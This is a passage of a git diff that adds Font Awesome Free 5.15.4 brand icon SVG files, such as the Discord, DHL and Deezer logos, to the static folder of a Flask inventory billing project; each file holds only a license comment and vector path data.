8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/d-and-d.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/d-and-d.svg new file mode 100644 index 00000000..ce7506d2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/d-and-d.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dailymotion.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dailymotion.svg new file mode 100644 index 00000000..f914fdb3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dailymotion.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dashcube.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dashcube.svg new file mode 100644 index 00000000..37af5c5a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dashcube.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deezer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deezer.svg new file mode 100644 index 00000000..87022d51 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deezer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/delicious.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/delicious.svg new file mode 100644 index 00000000..c60095f6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/delicious.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deploydog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deploydog.svg new file mode 100644 index 00000000..0fceedc9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deploydog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deskpro.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deskpro.svg new file mode 100644 index 00000000..ae91cfcc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deskpro.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dev.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dev.svg new file mode 100644 index 00000000..f2529d5d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dev.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deviantart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deviantart.svg new file mode 100644 index 00000000..eaad63aa --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/deviantart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dhl.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dhl.svg new file mode 100644 index 00000000..5af4925a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dhl.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/diaspora.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/diaspora.svg new file mode 100644 index 00000000..a639c337 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/diaspora.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/digg.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/digg.svg new file mode 100644 index 00000000..708a7384 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/digg.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/digital-ocean.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/digital-ocean.svg new file mode 100644 index 00000000..7cc81de6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/digital-ocean.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/discord.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/discord.svg new file mode 100644 index 00000000..73d2784e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/discord.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/discourse.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/discourse.svg new file mode 100644 index 00000000..f47a2362 --- /dev/null +++ b/FLASK 